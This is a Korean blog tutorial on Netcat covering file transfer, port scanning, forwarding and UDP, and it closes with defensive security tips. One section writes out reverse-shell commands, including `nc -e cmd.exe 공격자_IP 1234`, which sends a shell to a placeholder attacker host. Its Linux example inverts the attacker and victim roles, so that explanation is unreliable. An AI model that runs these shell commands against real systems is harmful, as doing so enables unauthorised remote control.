카테고리 없음

NC(Netcat) 사용법 완벽 가이드 🔥

idea9329 2025. 3. 11. 10:33
728x90
반응형

 

Netcat(NC)은 네트워크 도구로, TCP/UDP 연결을 열고, 데이터를 전송하고, 포트를 검사하는 등 다양한 네트워크 작업을 수행할 수 있습니다.

Netcat은 "네트워크의 스위스 군용 칼"이라고 불릴 정도로 강력하며, 해킹 및 보안 테스트, 서버 간 데이터 전송, 포트 포워딩 등에 사용됩니다.


📌 Netcat 설치 방법

대부분의 Linux 및 macOS에는 기본적으로 Netcat이 포함되어 있습니다. Windows 사용자는 ncat (Nmap 패키지)를 이용할 수 있습니다.

 Linux/Mac 설치 (netcat 포함)

sudo apt install netcat  # Ubuntu/Debian
sudo yum install nc      # CentOS/RHEL
brew install netcat      # macOS (Homebrew)

 Windows 설치
1. Nmap 공식 웹사이트에서 Ncat을 다운로드
2. 설치 후 cmd 또는 PowerShell에서 실행 가능


🚀 Netcat 기본 사용법

1️⃣ TCP 서버 열기

Netcat을 서버 모드로 실행하여 특정 포트에서 대기할 수 있습니다.

nc -l -p 1234
  • -l : 리스닝(서버 모드)
  • -p 1234 : 1234 포트에서 대기

💡 클라이언트 연결:
다른 터미널 또는 PC에서 다음 명령어를 실행하면 서버와 연결됩니다.

nc 서버_IP 1234
  • 서버_IP : 서버의 IP 주소

연결이 완료되면 서버와 클라이언트 간에 채팅처럼 데이터 전송이 가능합니다.


2️⃣ 파일 전송하기

Netcat을 이용하여 파일을 송수신할 수 있습니다.

 서버(파일 받기)

nc -l -p 1234 > received_file.txt

 클라이언트(파일 보내기)

nc 서버_IP 1234 < myfile.txt

이제 received_file.txt에 myfile.txt의 내용이 저장됩니다.


3️⃣ 포트 스캔하기 (간단한 Nmap 대체)

Netcat을 활용하여 특정 IP에서 열려 있는 포트를 찾을 수 있습니다.

nc -z -v 192.168.1.1 20-1000
  • -z : 연결만 시도 (데이터 전송 X)
  • -v : 상세 출력
  • 192.168.1.1 : 대상 IP
  • 20-1000 : 스캔할 포트 범위

 결과 예시

Connection to 192.168.1.1 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.1 80 port [tcp/http] succeeded!

즉, 대상 서버에서 22(SSH), 80(HTTP) 포트가 열려 있음을 확인 가능.


4️⃣ 포트 포워딩

Netcat을 사용하여 특정 포트에서 들어온 트래픽을 다른 포트로 포워딩할 수 있습니다.

nc -l -p 8080 | nc 192.168.1.2 80

 설명:

  • 8080 포트로 들어오는 데이터를 192.168.1.2의 80포트로 전달
  • 간단한 프록시 서버 역할 수행

5️⃣ 원격 쉘 실행 (리버스 쉘)

Netcat은 원격 제어(리버스 쉘)에도 사용됩니다.
⚠️ 보안 취약점으로 악용될 수 있으므로 주의!

 서버(공격자)

nc -l -p 1234 -e /bin/bash

 클라이언트(피해자)

nc 공격자_IP 1234

공격자는 피해자의 쉘을 직접 조작할 수 있음.

💡 Windows용 리버스 쉘

nc -e cmd.exe 공격자_IP 1234

6️⃣ UDP 모드 사용

기본적으로 Netcat은 TCP 연결을 사용하지만, -u 옵션을 사용하면 UDP 전송이 가능합니다.

 UDP 서버 열기

nc -u -l -p 1234

 UDP 클라이언트 실행

nc -u 서버_IP 1234

🔹 Netcat 명령어 정리

명령어설명

nc -l -p 1234 TCP 서버 시작 (포트 1234에서 대기)
nc 서버_IP 1234 TCP 클라이언트 실행
nc -l -p 1234 > file.txt 파일 수신
nc 서버_IP 1234 < file.txt 파일 전송
nc -z -v 서버_IP 20-1000 포트 스캔
`nc -l -p 8080 nc 서버_IP 80`
nc -l -p 1234 -e /bin/bash 리버스 쉘 (Linux)
nc -u -l -p 1234 UDP 서버 실행

🔒 Netcat 보안 주의사항

 사용하지 않는 포트 차단 (특히 1234, 4444 같은 일반적인 리버스 쉘 포트)
 방화벽 설정 강화 (UFW, iptables 사용)
 로그 모니터링 (이상한 Netcat 사용 패턴 감지)
 SSH 대체 사용 고려 (보안 강화된 원격 접속 필요 시)


📌 결론

Netcat은 네트워크 진단, 파일 전송, 포트 스캔, 원격 제어까지 가능한 강력한 도구입니다.
하지만, 해킹 공격에도 악용될 수 있으므로 반드시 보안 설정을 강화해야 합니다.

🔹 주요 활용: 포트 테스트, 네트워크 디버깅, 원격 접속
🔹 보안 주의: 방화벽 설정, 로그 모니터링 필수

이제 Netcat을 활용하여 네트워크 문제를 빠르게 해결해보세요! 🚀

728x90
반응형